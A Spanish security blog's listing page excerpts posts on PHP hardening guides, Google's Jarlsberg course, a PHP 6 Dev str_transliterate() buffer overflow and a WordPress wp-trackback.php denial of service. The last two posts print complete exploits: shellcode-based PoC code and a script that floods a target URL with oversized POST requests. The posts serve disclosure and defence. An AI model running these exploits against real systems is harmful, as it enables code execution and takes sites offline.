Como asegurar sitios en PHP

Gracias a Cristian Borghello me entero que en Devshed.com han publicado una guías paso a paso para asegurar sitios con PHP, las cuales complementan la lista Lista de tareas para revisar la seguridad en proyectos PHP que publicamos en la comunidad hace poco. Secure PHP Programing y Securing Your PHP Website son un resumen del libro Beginning PHP and Oracle, escrito por W. Jason Gilmore y Bob Bryla y en el que tratan de sobre temas como, la configuración segura de PHP, como asegurar nuestra aplicación en PHP, como validar los datos adecuadamente, entre otras cosas. Si eres desarrollador web y manejas PHP, te recomiendo que leas estas 2 guias para que mejores la seguridad de tus aplicaciones web. Secure PHP Programing Securing Your PHP...

Leer Más

Curso sobre desarrollo seguro de aplicaciones web por Google

Google acaba de lanzar un nuevo curso en línea para el diseño y desarrollo de aplicaciones Web, con este, que los programadores aprenderán a evitar los errores comunes de seguridad que se presentan en las aplicaciones web y que pueden llevar a la creación de vulnerabilidades en sus sitios. El curso, que es parte del proyecto Google Code University, se basa en el concepto de aplicaciones de tipo Twitter, denominada Jarlsberg, un programa que Google liberó para este fin. Conocido como “Web Application Exploits and Defenses,” desde el cual se da la oportunidad de visualizar el funcionamiento interno de una aplicación insegura, analizar las vulnerabilidades y aprender de los errores de programación que generaron estas fallas. Ademas de aprender desarrollo, también tendremos una serie de retos que requieren que los estudiantes se esfuercen e identifiquen vulnerabilidades especificas en el código de Jarlsberg. Después de que los estudiantes aprenden los fundamentos de una vulnerabilidad, como CSRF, XSS, se les pide que encuentren una forma de utilizar esta falla para realizar una acción maliciosas especifica en la aplicación, como cambiar algunos detalles en la cuenta de registro de los usuarios sin que ellos se enteren. Ingresa al Curso de Google sobre Seguridad Web Más Información: Anuncio de Hans en la...

Leer Más

Buffer Overflow en PHP 6 Dev

Recientemente fue descubierto un fallo grave de seguridad en la versión de desarrollo de PHP 6, el lenguaje de programación mas utilizado para realizar aplicaciones web. El problema se encuentra en la funcion str_transliterate() que permite “traducir” un texto de un lenguaje a otro, pero a su vez no valida adecuadamente los parámetros de entrada y permite la ejecución de código por medio de un buffer overflow. Les dejo una PoC que explota esta vulnerabilidad sobre servidor Apache, corriendo en Windows XP SP3 y permite ejecutar la calculadora del sistema: # Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit # EDB-ID: 12051 # CVE-ID: () # OSVDB-ID: () # Author: Pr0T3cT10n # Published: 2010-04-04 # Verified: yes # Download Exploit Code # Download Vulnerable app <?php error_reporting(0); ##################################################################### ## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit ## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev ## Buffer Overflow ## Bug discovered by Pr0T3cT10n, <[email protected]> ## Exploited by TheLeader, Debug ## SP. Thanks: HDM ## http://www.nullbyte.org.il ##################################################################### ## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC ## Take a look, 'unicode.semantics' has to be on! ## php.ini > unicode.semantics = on ##################################################################### if(ini_get_bool('unicode.semantics')) { $buff = str_repeat("\u4141", 256); $eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll $nops = str_repeat("\u9090", 20); # WinExec Calc XP SP3 HEB Unicode-encoded shellcode $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E"; # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts) # $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E"; $exploit = $buff.$eip.$nops.$shellcode; str_transliterate(0, $exploit, 0); } else { exit("Error! 'unicode.semantics' has be on!\r\n"); } function ini_get_bool($a) { $b = ini_get($a); switch (strtolower($b)) { case 'on': case 'yes': case 'true': return 'assert.active' !== $a; case 'stdout': case 'stderr': return 'display_errors' === $a; default: return (bool) (int) $b; } } ?> Hay que recordar que esta versión de PHP aun esta en desarrollo, pero no deja de ser inquietante este tipo de problemas de carácter critico, en un lenguaje de programación tan extendido en la red, como lo es PHP. Mas Información: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit Codigo en...

Leer Más

Lista de tareas para revisar la seguridad en proyectos PHP

La siguiente es una lista de tareas o “cosas a revisar” para garantizar que nuestro proyecto web en php, cumpla con todos los requisitos necesarios para que sea seguro, fue creada por sk89q para ayudar a los desarrolladores web a desarrollar de forma segura sus aplicaciones. Esta pequeña pero útil guía, es la versión imprimible del articulo completo titulado Definitive PHP security checklist donde paso a paso nos dan a conocer los puntos que todo desarrollador web debe tener en cuenta para garantizar la seguridad de sus proyectos. Esta pequeña lista de tareas, puede servirte de complemento si cuentas con el poster que SektionEins envia de forma gratuita a desarrolladores de toda Europa, una excelente guia de referencia donde se listan las opciones de seguridad del lenguaje PHP. Si aun no tienes este excelente afiche, puedes solicitarlo gratuitamente en inglés o aleman llenando este formulario, si deseas tenerlo y no estás en la Unión Europea, todavía puedes descargarlo en formato PDF haciendo click en este enlace. Más Información: Pagina Oficial del PHP Security Checklist Pagina Oficial del Poster “PHP Web...

Leer Más

Denegacion de Servicio en WordPress

Jose Carlos Norte acaba de publicar en su blog, un nuevo fallo de seguridad descubierto en el popular wordpress, este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con WordPress causando una denegacion de servicio. El bug se encuentra en el archivo wp-trackback.php quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder. Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según Jose Carlos, el parche que publicaría WordPress tampoco lo soluciona), aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria vulnerable ya que  bloquearía estas peticiones mal intencionadas,  también se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan, podrías también utilizar el WP-IDS un mod para WordPress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress WordPress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad. Les dejo la solución propuesta por Jose Carlos en su blog para este problema: Reemplazar en la linea 45 del archivo wp-trackback.php esto $charset = $_POST['charset']; por esto $charset = str_replace(”,”,””,$_POST[‘charset’]); if(is_array($charset)) { exit; } Y el exploit para verificar que somos vulnerables: <?php //wordpress Resource exhaustion Exploit //http://rooibo.wordpress.com/ //[email protected] contacted and get a response, //but no solution available. if(count($argv) < 2) { echo “You need to specify a url to attack\n”; exit; } $url = $argv[1]; $data = parse_url($url); if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data[‘path’]; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data[‘host’],80); if(!$fp) { if($count > 0) { echo “down!!!!\n”; exit; } echo “unable to connect to: “.$data[‘host’].”\n”; exit; } fputs($fp, “POST $path HTTP/1.1\r\n”); fputs($fp, “Host: “.$data[‘host’].”\r\n”); fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”); fputs($fp, “Content-length: “.strlen($str).”\r\n”); fputs($fp, “Connection: close\r\n\r\n”); fputs($fp, $str.”\r\n\r\n”); echo “hit!\n”; $count++; } ?> Para mas informacion: Agujero de seguridad muy grave en WordPress Atención! BUG WordPress WordPress Security Whitepaper $charset =...

Leer Más

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES

Aprende ONLINE Técnicas HACKING y Seguridad Informática guiad@ por Profesionales RECONOCIDOS con más de 10 años de experiencia REAL en el campo de la Seguridad Informática

Toma acción !AHORA¡
miles ya lo han hecho

NUNCA te enviaremos spam.

  • No necesitas conocimiento previo (De 0 a Ninja)
  • Docentes reconocidos en el medio y con experiencia REAL
  • Clases ONLINE en VIVO que luego podrás repasar si lo deseas desde cualquier parte o cualquier dispositivo
  • Contenidos EXCLUSIVOS generados por nuestros docentes
  • Contacto constante con el docente por distintos medios, antes, durante y después de las clases
  • Laboratorios en linea para que nuestros alumnos practiquen sus conocimientos sin problemas
  • Exclusivo FORO VIP de Alumnos y Ex-Alumnos donde se continúa el aprendizaje y se comparte conocimiento
  • Te entregamos un diploma de certificación por cada curso
  • Miles de ex-alumnos felices